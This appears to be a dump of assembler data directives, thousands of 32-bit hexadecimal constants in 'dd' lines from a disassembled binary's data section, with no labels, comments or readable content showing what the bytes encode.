		dd 8453CA00h, 739DB7D9h, 7FAE00D4h, 0A77D5C3h, 5D72B313h
		dd 539AEA00h, 0FDCAC133h, 2C71C3Eh, 0E24980F3h,	2A4B9701h
		dd 5A5D4A00h, 0B7E8D337h, 1979034Fh, 5B7D7B34h,	0E6FC1B88h
		dd 96D8020Fh, 88C2067h,	0C0BBBFC7h, 154A89F8h, 9800FAA3h
		dd 0EDE2A5F6h, 5CBEA604h, 0D600859Eh, 5CC28E2Ah, 3300E339h
		dd 9C3B4AF8h, 78F1DDD4h, 705E00A9h, 4E9DA41Ah, 90757B1h
		dd 9851D0D3h, 0D179E380h, 0A27C01C3h, 0D833B94h, 800BD1CBh
		dd 0B5A31C21h, 0F40117h, 49338DB0h, 4B85F1D7h, 0E670581Bh
		dd 0AE582329h, 0E2BCB00Eh, 19CB4B2Dh, 164311C4h, 6050FCFCh
		dd 0D1F4669Ah, 0B10F2C39h, 5346157Dh, 0F7351000h, 3779850h
		dd 286F79EAh, 559299F1h, 0BB45A840h, 94C17F0Fh,	0EADDE027h
		dd 579B35h, 2D47E8Fh, 8E917071h, 21AB3300h, 369AFD5Ch
		dd 0BC7D1FBDh, 6ED7C8h,	76940B4Ch, 700A83Fh, 3ADAA5FBh
		dd 72455390h, 2C700011h, 0A68993A2h, 0E5B8F75Ch, 0BCD53F00h
		dd 4697BD96h, 0AB4C0048h, 21F35727h, 4890E192h,	1A74F000h
		dd 49109CACh, 440B00AAh, 6F63F480h, 8E988BC5h, 0FFC2000h
		dd 8EC2427Ch, 484CFCB4h, 93001484h, 0BBF19104h,	0B10706E4h
		dd 5CD76B4Fh, 9900D435h, 0E6B58936h, 843C3F74h,	0E8E19E07h
		dd 0E580DBF3h, 369DDA18h, 3FE5873Fh, 70F00F9Fh,	6446DF28h
		dd 503326h, 0F9D954D8h,	0E2605708h, 0E0691760h,	3AA20D14h
		dd 7A0F8EB4h, 48582D9Bh, 71001223h, 0D6E861C7h,	13FC3F7h
		dd 0BFFE2A51h, 0E086559Ch, 8F00D504h, 17197164h, 0F92659Ah
		dd 81DDCBB1h, 4F97CC81h, 1F68809Bh, 0A19D2FD1h,	98070090h
		dd 9E46386Ch, 93012843h, 0DBA65EA8h, 0C39B92h, 3BC0E981h
		dd 5083CEC8h, 0AB00B9E2h, 0F27B7CA7h, 0AF5E52h,	9A59D91Ah
		dd 921C2F25h, 779F68C0h, 3823A346h, 0B480CDAFh,	5E481091h
		dd 6300418Fh, 7BE3EAF2h, 3AD58117h, 0CB9F1D54h,	964A4EDFh
		dd 0F0D8E741h, 39FAC335h, 0DA3B840h, 6015F300h,	0DD95BB92h
		dd 1FF71896h, 80A250BFh, 0A89A818h, 0F6128E30h,	2EA46h
		dd 0F797087Dh, 6FC72EC9h, 55B69203h, 9FBE720Bh,	0BBEA7021h
		dd 0F8D80C40h, 3B6C1612h, 5BAD0E7Ch, 44D58280h,	55019356h
		dd 0AF80D49Eh, 0B57053E3h, 1EB307E1h, 8174D2CCh, 0CC7EE60Ah
		dd 50016123h, 8DAC1456h, 1520ED1Dh, 0E4AE1ED9h,	819BC086h
		dd 0CA5E1016h, 51ECFB0Fh, 308BC09Dh, 50F917E5h,	5D903Ch
		dd 45742D6Bh, 3FE7140Dh, 0EEA89CA3h, 1807B844h,	0AE667202h
		dd 0D8C14720h, 0CA22034Fh, 0F399C283h, 76D54EC0h, 0ECA17500h
		dd 0C49DDE70h, 0DAF14A4h, 2A8F040Eh, 0F160B02h,	8B40CBDh
		dd 0CAF43069h, 25C73FD1h, 90B11800h, 0FEDBFC8Ah, 0D0C4B98h
		dd 18191DA4h, 0DC4A22C6h, 8961E21h, 94A4B22h, 5A280C20h
		dd 32124FFh, 0C561597h,	2118EA2Ah, 608FDEEh, 4B6A4055h
		dd 0CAB008AAh, 29A46300h, 8D9A7FADh, 4E0CA0DEh,	0C92844A2h
		dd 21A99022h, 450AA10Dh, 88151899h, 0C412A24h, 18A3E728h
		dd 0E969D20h, 1954AB8Eh, 0DCE43820h, 933EA1F5h,	324E0C03h
		dd 4771806h, 0F0B1DA27h, 3C2D83DFh, 7DE0EE83h, 32008C17h
		dd 0DA8606E0h, 0F0A9016Fh, 3880F9A7h, 0B4DED5B8h, 9FF062B3h
		dd 8095E400h, 6507719Eh, 5B7C00D0h, 0CA2B2A0Ch,	0F20F9FF3h
		dd 80FDDAB7h, 0BDA37E35h, 62671C01h, 6A1F013Bh,	0E01A187Ah
		dd 0C7018ADCh, 0B6DD166Ch, 0EB71D32Fh, 19534C0Ch, 880CB430h
		dd 0E3D9E0F2h, 0D5705F00h, 0B7A398F6h, 0E59500ACh, 0E0E94E5Ch
		dd 0E200C5D9h, 0B0051C70h, 5B11CFh, 926C0C60h, 0B81235C9h
		dd 0D8B87674h, 86DBE8FBh, 83081CA5h, 0E4CB788Dh, 0E5FFBD00h
		dd 658EA37Bh, 46CE029Fh, 0C495925Ch, 0F11DC095h, 0ED8900A0h
		dd 75EBBD5Dh, 57B0529Dh, 13BE088h, 0DF0A40Ch, 6228A5h
		dd 9CF5DE94h, 34F197E8h, 3BECBA74h, 5E5C4CF9h, 0E9A13F00h
		dd 6A2AB4FBh, 0E7F07BAh, 3340F415h, 41B81269h, 0F00D7C9h
		dd 2A4E6149h, 233649Dh,	0A62C0A85h, 0BC813B80h,	0D447A219h
		dd 0BF247832h, 9E871008h, 0DAF1158Eh, 2983380Fh, 0B3376DA6h
		dd 8C0A70F8h, 0B121FFF3h, 603AF0C4h, 1788698Dh,	0BDBC584Ch
		dd 2327E600h, 0A777E59Bh, 0E9DD0A1Bh, 8EC82474h, 8F8103FDh
		dd 9E2B9EC0h, 4171D238h, 0E3E0F030h, 7C671B3Bh,	56A03118h
		dd 5300374Fh, 49C986C4h, 49B42A6h, 15AF1E76h, 7E749804h
		dd 20A71743h, 0C52B6650h, 80B0FB3Eh, 2EFEBDEBh,	0CFC77B36h
		dd 0A7E0B8D0h, 0A6B7325Fh, 5038C806h, 7A402A5Ch, 0BB2C050Ch
		dd 470884B8h, 60443180h, 747F66B1h, 1CA42F14h, 9862AFACh
		dd 0EEE0C06Dh, 84A168DEh, 0C4942262h, 0D48ABA3Ch, 1860820Ah
		dd 30095544h, 7E9827E9h, 40C927A2h, 91961D40h, 808767E8h
		dd 0F057DDE8h, 0FC228A00h, 0A4A23ACh, 48EE213Fh, 24AB65F0h
		dd 58DCD80Fh, 2B00BD11h, 976A025Ah, 7C20C9ACh, 0A574EEF1h
		dd 7FA60084h, 42BC5F6Ch, 624C6400h, 5B13AB68h, 0F52500DAh
		dd 9D2CA79Eh, 7E3A21EBh, 0D4B2830Eh, 9058C049h,	16F3C607h
		dd 0F1C511D3h, 7D808021h, 0FA646273h, 0DAE30A0Ah, 0AD8917Ch
		dd 8D04626h, 0D54008D9h, 4C955C87h, 8F2E8019h, 64C83BAAh
		dd 0F88309AEh, 29089826h, 0AE053915h, 796C3F80h, 681A392Bh
		dd 40DEDB07h, 0BC20F651h, 9101A7BEh, 86035C0Ch,	89843B5Ch
		dd 41A988E0h, 492E4h, 0DEB5B99Ah, 157D307Fh, 0BCFC1052h
		dd 0CB3F015Bh, 0D5BC684Fh, 0F490FE66h, 9F025D9Bh, 83975904h
		dd 69809626h, 28BF08CBh, 0E08BB905h, 9044E88Fh,	0F1C33A12h
		dd 0FE1BC08Dh, 8581E220h, 98DA13C9h, 0E4202211h, 14CB882Bh
		dd 0C8B1CA11h, 0F7A7A31h, 52118119h, 0DBF0BF83h, 676F4200h
		dd 2F6878CBh, 0F52EE1FCh, 7474946Dh, 78FE9864h,	40E549FAh
		dd 1BEF602h, 0A4AB977Fh, 0D131C00h, 0B40BE0FDh,	6FC844Eh
		dd 20489194h, 9C809373h, 8539D7D3h, 8058BD77h, 1BFA4E06h
		dd 78509B2Fh, 0ED020014h, 0D4817BA2h, 0C6009523h, 0AAD39720h
		dd 12ACC0Fh, 6A12482h, 3A09754Dh, 634FDEC0h, 0D9CA00E9h
		dd 61BA46B3h, 7307AB34h, 0DCA57A30h, 0BE1C0170h, 5838C050h
		dd 410B3304h, 4E38951Eh, 5EAF8500h, 639347h, 9F01902Eh
		dd 8B4114Ch, 0CC5AD400h, 1D750F30h, 5BE8307Ah, 94704DB8h
		dd 140696Fh, 0D5826357h, 5C23319Eh, 65BB004Fh, 0BD0CA695h
		dd 14DAD100h, 0A1FE2D51h
		dd 7128C06Dh, 7B633FD3h, 9D554301h, 8695A350h, 0E89A3188h
		dd 18A50C78h, 600BBFE0h, 20C8366h, 380DFAC8h, 4EB5215Ah
		dd 0BB9BE6C0h, 0A27500E0h, 45DA4695h, 0CD045AC8h, 0B31AD1B8h
		dd 0F33BAB3Ch, 299481A8h, 0FFD92313h, 0B8DBA08Ah, 694FD06Ch
		dd 9962087Eh, 9B840338h, 9B0CC010h, 0C8BD6240h,	1A02A6E6h
		dd 2448B6D1h, 18440F8Dh, 0C3C638BAh, 7CC75329h,	0EA1D52E0h
		dd 0C8185478h, 698A92Ch, 183F605Bh, 0B49B3895h,	10A08614h
		dd 0CD6594CEh, 66F44218h, 0DCBCB8CBh, 7682D20Ah, 438CA44Ch
		dd 419A88FCh, 5600FEDh,	0BE0C6657h, 2695ECC0h, 0C8030A42h
		dd 6714767Ah, 0A00AE2F5h, 43068CA3h, 0C1A42846h, 0C13B765h
		dd 38E6C180h, 7EB05E2Bh, 54977600h, 307A12F3h, 0E5F80023h
		dd 0AE3F60D9h, 0A077C33h, 0B67BBC2Fh, 7AD63020h, 0B890185Dh
		dd 775F10A2h, 843B20A5h, 43C4032Ah, 0F1041C00h,	3C05BEF7h
		dd 61F07BA4h, 8961C2Ch,	5806ED0Eh, 0A53E7C02h, 0F549E7Bh
		dd 0C99DCEE1h, 22DC0E50h, 0EFD0CE34h, 819046C0h, 2A7021E8h
		dd 9E8A01EFh, 3C0059E2h, 7A0E7DDFh, 86C19850h, 1F496CB0h
		dd 1A7C4B1Ah, 7C1E509Eh, 2F4B151Eh, 9C0F5710h, 7EA6B2C8h
		dd 7C8738B1h, 0BDEA4F81h, 4080D698h, 7C49A3FCh,	9C66530h
		dd 3180169Fh, 5B48191Dh, 3E05E6Ah, 9ECEBEE1h, 5C5001D7h
		dd 0D05E6C09h, 700880EFh, 505D5541h, 37267CB3h,	0C0683F10h
		dd 0BEFA0168h, 807B6E28h, 0DCF29E28h, 8F33031h,	209103C5h
		dd 6A4B1502h, 612EE0B0h, 565D203Fh, 6F64BC00h, 4836905Eh
		dd 0EBD0317Ch, 0BE22B078h, 92933E0h, 7F19006Bh,	5D707A79h
		dd 101D7BF4h, 501EF59Fh, 0CE4310F7h, 0EE70E018h, 0BEF819B5h
		dd 41C309A6h, 8CEA3EBCh, 0B04F7030h, 492D6630h,	9E2A20BDh
		dd 0AB48D0BBh, 5AF00C1Ch, 0C710837h, 1D7079CEh,	18DE6D21h
		dd 48F2FC1Fh, 50B6C0DBh, 8F09CD92h, 0D03AF1A8h,	3B3A4DE5h
		dd 0B0AD0F65h, 81CD0966h, 16F632Eh, 0DAAF0884h,	989BC09Ah
		dd 6D19E52Ch, 0EE302D61h, 2FC8098Fh, 2C82ED82h,	0E8734101h
		dd 2087F1F1h, 8269E68Dh, 4D035D6Dh, 0AD08112Eh,	4946306Ah
		dd 0F8EAD0D9h, 0C66306A0h, 18BFFE0Ah, 8400EC7Fh, 6A29FDB5h
		dd 0B41AD5h, 5BB371CEh,	0B77BEDE9h, 13ADE70Ch, 66921059h
		dd 50CA7862h, 0CA021AF1h, 0F0125FCDh, 81C91101h, 7051D0FBh
		dd 468D30EBh, 5AA4AD08h, 1933E978h, 78346058h, 70226308h
		dd 80F0BCDh, 834582ADh,	0E142F90Dh, 1886464Dh, 1044AE8Dh
		dd 6D3040h, 6F656C54h, 2DEAD1E1h, 0C350A152h, 0C0061E83h
		dd 15CEB6CDh, 688A62B1h, 729C5CA0h, 51314367h, 0E0C8F9DEh
		dd 0C66D6884h, 15733862h, 0ACE833B8h, 10F12Bh, 0B34BACC5h
		dd 0CE14B771h, 8805A91h, 1444BF0Dh, 8D08F82Bh, 0DA006470h
		dd 828F66DFh, 0CDEA18E1h, 0B50D0862h, 2D1854B8h, 0F3307857h
		dd 0D868C42Ah, 0FC2C8123h, 383898EBh, 92180D48h, 0ADE34020h
		dd 0F010CA49h, 20BA3774h, 317E1B1Dh, 0CDEB7306h, 0A5B05BA2h
		dd 12D4108h, 0E92BD74Ch, 0F0110D1h, 0EFA9E26Ch,	0E8DD4024h
		dd 0E94D2AE7h, 54193BFCh, 40C1E856h, 50F46B2Eh,	49E411B4h
		dd 0C8500C90h, 6EF62DA4h, 182F651Ah, 7CD83648h,	0F2C02234h
		dd 56BEB10Ah, 83D88CE9h, 0B27F307Bh, 0C4DE51B9h, 0E68E890h
		dd 0B7D88868h, 18273071h, 0C6CFF169h, 0C4616373h, 56B38F08h
		dd 0B13B785Ah, 29EB0888h, 0AA6F9104h, 0DAC028C1h, 8067BFD3h
		dd 0B9BD2F81h, 49DBBC20h, 24E0889Ah, 46613016h,	0C77B31C9h
		dd 980C5095h, 0E827ACF0h, 0EC64AE2Ah, 2F38C362h, 0D89C080Dh
		dd 0F8300DF9h, 2B7139EFh, 0E0F33EA2h, 0A015B93Ah, 0E8F0A017h
		dd 4E7F23DFh, 751140CEh, 7333F098h, 652A3007h, 9608B130h
		dd 7100A898h, 287D15B8h, 3AFC851Dh, 5C0B16F8h, 7107BA3Ch
		dd 7A009E2Eh, 9AFEBF2Ah, 0FFAEB41Eh, 24BAC500h,	7697FD07h
		dd 3DEF0003h, 0D7088266h, 0EC07586Ch, 3FAE3C8Ch, 13020DCh
		dd 0DDD1591h, 0D5DC8523h, 273CD01Ch, 5AFF9A0Ch,	38DA60F2h
		dd 1A182151h, 9BBA68A9h, 0A580BB43h, 67EEB386h,	0CE3C8F07h
		dd 0FA05E6AFh, 0A5F21860h, 0E7A200E1h, 0B302D8B5h, 8E07B677h
		dd 997A1128h, 597EDC60h, 79070068h, 0FE2CFDB9h,	4C014B7Ch
		dd 239DD97Ah, 7FC0269Eh, 0F359377Dh, 94DC1151h,	42E10B4h
		dd 30BCE09Bh, 3F285621h, 4CE279CDh, 0C81948C2h,	11021C22h
		dd 2410FC9Ah, 37AD6074h, 197E3FDAh, 99790603h, 59A009E4h
		dd 7A0C695Fh, 50682639h, 86B66A4h, 0D90F182Bh, 8C79024Bh
		dd 60DCC0C5h, 24390965h, 783AD97Dh, 93F90E22h, 60EE009Ah
		dd 3A8EFE20h, 0D7481FA5h, 3500186Fh, 2F2EFDBBh,	4E189870h
		dd 0C6088666h, 9CEE084h, 8E015E7Ah, 2E80248Eh, 0B82150Dh
		dd 195F303Eh, 4119464Eh, 23CACB00h, 8E308BE8h, 532128F4h
		dd 8A0E1901h, 0BCA35897h, 183D3008h, 749914EEh,	376A03FBh
		dd 9BBBAEFEh, 0F3D64EC0h, 0BD8EFD07h, 0B643FCABh, 6DEEC021h
		dd 3C0EF8F2h, 718C9DB5h, 950C116h, 0F5641B00h, 38816CAEh
		dd 39C9387Fh, 161F983h,	0E8EEAACEh, 82F2F007h, 1E5F834Bh
		dd 0FCB8B081h, 887160Eh, 0CCFE75EEh, 68C6D6A8h,	0EA10D4EAh
		dd 2EFC0EBCh, 0AE82A73Dh, 0A0858E59h, 0CE9C05D9h, 6EA803F8h
		dd 0B818DCC7h, 0B508DF57h, 2EFE0C36h, 0A5D88D71h, 0CE369C74h
		dd 665008A3h, 8762824h,	19350E20h, 0A0E5786Eh, 2808BE3Ah
		dd 23F88497h, 0A6CE94A0h, 0F94E88A0h, 0D0C609CCh, 8CB3538Eh
		dd 80C575C0h, 3B838103h, 8B0A94BEh, 0CB072A7h, 0DE48F19Ch
		dd 3A204AEBh, 29591554h, 44F90AACh, 571CF8D4h, 0A16E0142h
		dd 0BF8883ECh, 91A015CAh, 3980D4F1h, 114EFCAAh,	0D27F2CA6h
		dd 80AEB910h, 0CD5A1901h, 88D52B12h, 78B4CED0h,	4D01ED2Dh
		dd 39CA3ADFh, 4424DEB9h, 14567438h, 0A0ACE4AEh,	83347801h
		dd 37363ABh, 0A0086803h, 9C523CF0h, 5F43A4A0h, 683BFC30h
		dd 0CE0807D9h, 5BDB750h, 78F3D72Bh, 0A5085E9Ch,	0ADD6306h
		dd 9FB88F79h, 123C24D4h, 4E2C0040h, 0EB8220D2h,	70E53224h
		dd 30C8C3F0h, 99F92A0Ah, 8407FC32h, 2BD98B0Bh, 12D7FD31h
		dd 0B844FEDDh, 7D4A243Ch, 0C42945B0h, 0B8AFE52Fh, 6E18C0Bh
		dd 15303CDFh, 30AB1159h, 0CF48CBA0h, 18CE6B24h,	3022608Ah
		dd 2491CBD0h, 85306CC7h, 79220419h, 6C4420CCh, 0B9AC8354h
		dd 870AA93Bh, 12C6084Bh, 74C0C544h, 0F832D7CEh,	63B0266Bh
		dd 24FE2C58h, 0D1350904h, 81591004h, 0ACEED4h, 0AF226E0Eh
		dd 0DF2301E8h, 24786740h, 78C28408h, 40044CEBh,	0F025610Ch
		dd 80D6F8Bh, 0C1645784h, 2630CA0h, 0EE5CC0E1h, 303F62B4h
		dd 484171D7h, 0F026D777h, 123A3066h, 5841A69Eh,	54EFECCh
		dd 0B40E0887h, 35AE029Ch, 6BEBB860h, 0E0182249h, 481AC7C0h
		dd 28A4032h, 3048F8C4h,	0DECBC410h, 1D56990Ch, 0C8AF0D68h
		dd 0FE7E5982h, 24F8AEBAh, 0B4C0171Ah, 3184F948h, 0B102BCBh
		dd 0CF9C24A6h, 0BB800650h, 0AD8B08C0h, 326B1292h, 0BAD0AF49h
		dd 194B6840h, 0DD18DC62h, 34A88239h, 330C0FEh, 0F3F0E9FFh
		dd 74C898B7h, 8EFB1C57h, 2C78BA3Ah, 0F2CC8B6h, 0E86C7B0h
		dd 0CE131814h, 0C40AFFDAh, 0EE1DB41Ah, 0F82B8D5Fh, 9F2F4760h
		dd 975988DFh, 0B88D50B0h, 6520D587h, 58307AB6h,	94500BF9h
		dd 0D4E65750h, 38E41381h, 19A05150h, 69104C17h,	1FDE4608h
		dd 0FEB909DDh, 0E32E1001h
		dd 0E84BF3h, 91F2D076h,	304178Dh, 0C2414A45h, 1EC03167h
		dd 0A601B62Ch, 0DF194F65h, 18402EC8h, 0B7FD6072h, 8E3C02D8h
		dd 33E67EE9h, 5D4B5800h, 642496BFh, 105B5186h, 0CCC3A940h
		dd 7620CEDFh, 0B808EB80h, 831CB4C0h, 0A70AC21Bh, 69C71CFEh
		dd 20CE4152h, 8EC2F56h,	0B861F802h, 1EC1DB83h, 1746570Fh
		dd 3610504Ah, 62B8103Ah, 0C0C39B3Bh, 9302F6E1h,	8D983E0h
		dd 2098C8A9h, 1C08A662h, 5B24A5A2h, 0F6D85C39h,	81476E0Eh
		dd 6A94DC4h, 2B089D0Ah,	407CB79Bh, 2ED48FACh, 420141D3h
		dd 477808F9h, 86F07C4Dh, 8FB5082h, 8331212Dh, 827B4485h
		dd 3D04946Ch, 892008ADh, 0B4BDB615h, 9E0E090h, 966A445Ch
		dd 84B4C12Bh, 696603CFh, 76311598h, 28F5F8B8h, 69F0E82Ch
		dd 170DF6F6h, 71BFB446h, 8180200Bh, 95B5B40Ch, 0EBFC0492h
		dd 0C3E2A880h, 82701B08h, 4805799h, 3D6D2C38h, 4412011Ch
		dd 990C1F5Eh, 0C67E307Dh, 3804B0BCh, 30BCD670h,	0EA5EF602h
		dd 1B39D08Dh, 693903B4h, 0A13B03Fh, 0DEDFD670h,	3868399Ch
		dd 0F7D0D880h, 3F893B0Ah, 0E4BDE85Eh, 231D7838h, 78178349h
		dd 805CBA95h, 86D652ECh, 7F652B3Bh, 12014F70h, 80142848h
		dd 894B7670h, 3E05C870h, 7FE4CC1h, 0C0CCF93Eh, 0B288C08Eh
		dd 210333D0h, 86C60496h, 8491B060h, 708A1C10h, 88383028h
		dd 1873DCEh, 0DB696A57h, 0B164005Fh, 0E87010E7h, 0CDC81006h
		dd 965D6AF0h, 20E67307h, 0E801C491h, 71BA0870h,	0E2168046h
		dd 805B3A2Eh, 3FD92A4h,	5941326Eh, 4820A8B8h, 2D052FBh
		dd 2C0487EFh, 24E096AAh, 32009446h, 0DDA8C5E7h,	68216Dh
		dd 0C80AAF39h, 0B2AA2BBDh, 24811CA5h, 0A950E1BCh, 171E0100h
		dd 0AC8A2C0Ch, 0C8B7082Eh, 5ED0EA40h, 2EB83060h, 14A56179h
		dd 0B5CA2C10h, 85402A23h, 9467D1h, 416DDF1Eh, 4AAF26A4h
		dd 6A389CFFh, 41E05310h, 606015C4h, 1DBA1B1h, 0CC7EB82Ch
		dd 6A80E509h, 0C17CBA56h, 5D215516h, 1F18111h, 885F20Ah
		dd 68C00FEAh, 0A8B0227Ch, 0DE0D5401h, 63EDE16Dh, 0C042F888h
		dd 10827CF0h, 1DD910h, 2CCCFAC1h, 8FC0424Ah, 0AF8A4E1Eh
		dd 4C43F0CDh, 0A5A815EBh, 0E7A074BFh, 3030C32Fh, 0F1017021h
		dd 0BFA980F9h, 0AB0170ADh, 1B886351h, 873A6101h, 13214A70h
		dd 0EAAE2A41h, 0B611B442h, 31F6F678h, 41499448h, 1A6A0155h
		dd 0D5CA089Eh, 1A07CBFh, 0BF54910Fh, 8432A198h,	0B6DE20CDh
		dd 13721E7Ch, 1C1ED0E2h, 78772E81h, 28D87C7Ah, 20E5102Eh
		dd 0F7E10923h, 5D0C022Dh, 4B74B4C1h, 62B9BCAEh,	269CC139h
		dd 6B7AE97Bh, 13D6078Fh, 401AC66Fh, 0CD752115h,	0C174431Ch
		dd 49809F19h, 5701398Ch, 0E7494AE8h, 485B312Ch,	886850Ah
		dd 1801E68Ah, 20027724h, 0C8093718h, 87ECA115h,	2B0A0885h
		dd 0D9478BEh, 0F3366318h, 805B6179h, 233AC2CAh,	710F31AFh
		dd 9C5EBEEEh, 39B66902h, 41031B60h, 0AA481B24h,	0D8A19815h
		dd 68088CEAh, 0C3DA5825h, 24444A60h, 0ED5D0814h, 0BE6E15ECh
		dd 91A3E0B0h, 9D8C205Eh, 8899A101h, 0BDB829B6h,	0C33041Eh
		dd 0BC91802Fh, 0B6E48881h, 83562A9h, 8C490E69h,	0C0183738h
		dd 65E0E58h, 8C8789DCh,	0E09EC940h, 0BFA72B8Ah,	0C2B1C094h
		dd 41C3126Fh, 71DDE5C1h, 0E0A09388h, 95650270h,	22CCD49h
		dd 8A2BB59Ch, 0AAB860D6h, 30CC64EAh, 5D389146h,	6D109BECh
		dd 8264E2D8h, 0EB06ABCh, 92C8BD8Ah, 0D91C4C8Bh,	20DFD6C1h
		dd 304DBF12h, 0E2F108ACh, 3FCA2084h, 27BD0728h,	15292A41h
		dd 49534892h, 0E83EA638h, 5E695304h, 7493D738h,	4AC810DFh
		dd 0EEEA3EA6h, 30658458h, 1BAA6483h, 80C1CAD8h,	0D03C5EC3h
		dd 2050C90Ah, 0C4E3F80Bh, 0D3716A28h, 3074A2A8h, 64AA6240h
		dd 1FDA3974h, 404C8E92h, 0C4E949A6h, 0E12D3E9h,	19381BE3h
		dd 99E6EAF1h, 0A109F71h, 0DCC3F077h, 6A081814h,	161D3817h
		dd 3E4548C9h, 16A80524h, 91A7BF8Ah, 8C6CF6B8h, 0A8F9EF88h
		dd 0E0C89B14h, 1383A4D3h, 0C9037384h, 824ABD0h,	1F289FB2h
		dd 594852F2h, 0CAA100CCh, 2C6AB0C3h, 37688948h,	0D1B3C84Fh
		dd 0B2082B2Fh, 0EA81EEECh, 11ACB80h, 0D0BDE381h, 8164AD70h
		dd 4E13D73Ch, 0AFE100CDh, 9F85836Ch, 5A206A4h, 203918DDh
		dd 8A2BF4C1h, 0DF60548Ch, 0C6DC6EBAh, 0A9D621F9h, 0F0288E59h
		dd 20FCBEF0h, 112D1B1h,	3C0662C5h, 49086422h, 64F0FC91h
		dd 94200915h, 166102D2h, 8CEAB078h, 73CE043Eh, 7DC2688h
		dd 523EE041h, 0B0C5E800h, 9834172Ah, 0D8505020h, 0D1D3410Ah
		dd 0CA00307Fh, 8E4388A5h, 20DFC207h, 0B0592DA1h, 0E09C0A23h
		dd 0DAF98D82h, 0D18139C4h, 8435EA0Fh, 9E10AFF0h, 0E139FC61h
		dd 708058C7h, 719FD6A6h, 8C08D42h, 0F0FBE3A1h, 0FCA5008Ch
		dd 6F732990h, 4BF8F13Ah, 1100E0F0h, 27B0ED1Ah, 1716C0h
		dd 24730AD7h, 23D04B20h, 904CF80Ah, 5F581C2Ch, 884479CAh
		dd 7A902813h, 0CE98701Dh, 9EAEB007h, 670D5080h,	7460F862h
		dd 0A2F01E5Bh, 0A6900369h, 0B4A04F3Fh, 501D4B78h, 0B0006B7Ah
		dd 0D04C8A7Eh, 0F82074C9h, 3008C390h, 1829FF2Eh, 53604828h
		dd 8849D2F4h, 0C5638833h, 0A3F52060h, 3AC7FBD0h, 10FCB608h
		dd 38CFBA30h, 7A18E315h, 2F083106h, 0F3C1068h, 98F21302h
		dd 0D3031805h, 22F93769h, 0F65A4368h, 8AD0F0C1h, 889C1070h
		dd 646B183Ah, 0D96F3090h, 5A5069E8h, 566A06B0h,	31698F36h
		dd 105831F3h, 0D0D88653h, 2109FAFh, 704B82A7h, 0D8BCFF21h
		dd 0B6D87F08h, 41938CE1h, 962B050h, 8DCB9048h, 0B41F48C8h
		dd 42C99D06h, 0B319997Bh, 0D93801BDh, 2210888Ah, 7F12F8A0h
		dd 89CAF330h, 0CA9E9253h, 0F88833D0h, 6C319C6Bh, 9F73394Dh
		dd 0FEE47000h, 0D2027CADh, 22CB23EEh, 70B63413h, 3C89170Ch
		dd 503331B5h, 703090C9h, 16CAD25h, 0D36B2F5Bh, 66420716h
		dd 26D087A1h, 49D06C0Ah, 14DE222Fh, 0CBC2F314h,	0C49F1288h
		dd 5C572400h, 48C63062h, 4918A45Ah, 0A3BFF8D1h,	7BE660C4h
		dd 0B4CE9081h, 51C23C00h, 0D76272F8h, 83215808h, 145FCF90h
		dd 0F85D8638h, 68E131Fh, 106004B0h, 303086EDh, 30E898D2h
		dd 0AAB88C5Bh, 0C0F84B1Dh, 1E0C1C4Ch, 193E282Ah, 2B58B347h
		dd 8C0BCC2h, 0FB866A5Ch, 62949386h, 99F6370h, 0E80ECC46h
		dd 8A4C7C0Bh, 0D00EE872h, 0E0D41527h, 207CC9DFh, 0B3241598h
		dd 31BD8CFEh, 0C61AE8BBh, 63AF7020h, 0FAF908FBh, 879B6810h
		dd 18634538h, 0F02B5669h, 1BE1F028h, 5EECD6DDh,	325C90C2h
		dd 3950D91Ch, 6805C4Fh,	68D7E4E1h, 891981D3h, 3E3A9038h
		dd 30DB7FD8h, 13E15FADh, 70D2634Ah, 926842Ah, 69130CCAh
		dd 40623370h, 8383D038h, 11151088h, 0E0FF4BF1h,	45309F27h
		dd 0C5B6D0D3h, 480B7F0Eh, 0A18B8233h, 91F94069h, 619F0005h
		dd 0B83944Ch, 0D800567Dh, 0C255C6AEh, 1260347h,	3212A8C8h
		dd 88456B7Fh, 1194EB40h, 76CEA00Bh, 84544B3h, 638B6740h
		dd 0C02B0810h, 0C4CB4010h, 0F590FEF3h, 210CB586h, 79EBE8C8h
		dd 4B08C299h, 700E602Dh, 6DBAAB0Ch, 58DDBF60h, 8DC04C29h
		dd 6B3CB98h, 48C9C7D1h,	866151FDh, 602E2B08h, 0B014C02h
		dd 608A76C7h, 1B8017C4h, 0A9A168C0h, 0BDC09581h, 0C3CFF0A4h
		dd 28F7447Fh, 5715B920h, 84DEA0BDh, 443F0399h, 2B05C088h
		dd 0A49C7CBDh, 3B98320Ch, 446838FEh, 8057AC8Dh,	8D469E8Ch
		dd 0E2718A75h, 6C8056ABh
		dd 9B01B080h, 11C57E6Dh, 0D80045B5h, 0CFBE08DDh, 0E85966FAh
		dd 8B180830h, 0A38858E6h, 17CAD86h, 0F1AFE677h,	9848BACBh
		dd 0E038076Eh, 0EF48CC1Ah, 85206B08h, 1C943E48h, 1558CB08h
		dd 0AB10EA18h, 8BE0A045h, 6B08C641h, 4B0E3017h,	869012D2h
		dd 3B286183h, 6F7CFB94h, 0CB0608BDh, 27203071h,	0EF531F6Ch
		dd 0EC070E82h, 0A2262B83h, 9C5C077h, 94064589h,	3E20CCA7h
		dd 0EB0A6ED2h, 7CA08658h, 0A512A4E8h, 4C03CEFEh, 0EF8B388h
		dd 90160F90h, 0EB083A8Ch, 6B98B561h, 427864Ah, 0A55F8480h
		dd 50C6D3F8h, 2BB00668h, 601C54CBh, 0B26C1EA4h,	71BCE148h
		dd 8B38FD62h, 0DCBC61h,	0E17C552h, 7E18653h, 0A00C5400h
		dd 2349B7C0h, 49D00DDh,	35F7C1B2h, 52031670h, 0ACE20385h
		dd 0F430018Bh, 0B7BD3198h, 7738910Bh, 0AEC8ACA0h, 0C4147244h
		dd 3D7C3731h, 443C55D0h, 9164B47Fh, 0F7483768h,	79C2E0D3h
		dd 0D4D1C629h, 172B389Ch, 9A606C3Dh, 0C9E4373Ah, 258C7439h
		dd 8C3B838h, 7F841A77h,	0F08DEB0h, 170685B5h, 0D7221046h
		dd 843A574Fh, 0C265FDC1h, 6A9410B0h, 3F68CA50h,	0D974F888h
		dd 9AC51300h, 14340607h, 8839D172h, 9F506DF0h, 54398362h
		dd 8A3707B1h, 4077088Ch, 311CEBF8h, 0F4416351h,	0F77A70DEh
		dd 0C7740156h, 507358E4h, 14381F99h, 6306607Ah,	0A7D7BD15h
		dd 0B9372008h, 6F0A1719h, 0A4418D90h, 0AC4014D7h, 806297B7h
		dd 0DDF9EA2Dh, 57188D5Ch, 0A4FD0837h, 30773085h, 0CF840A63h
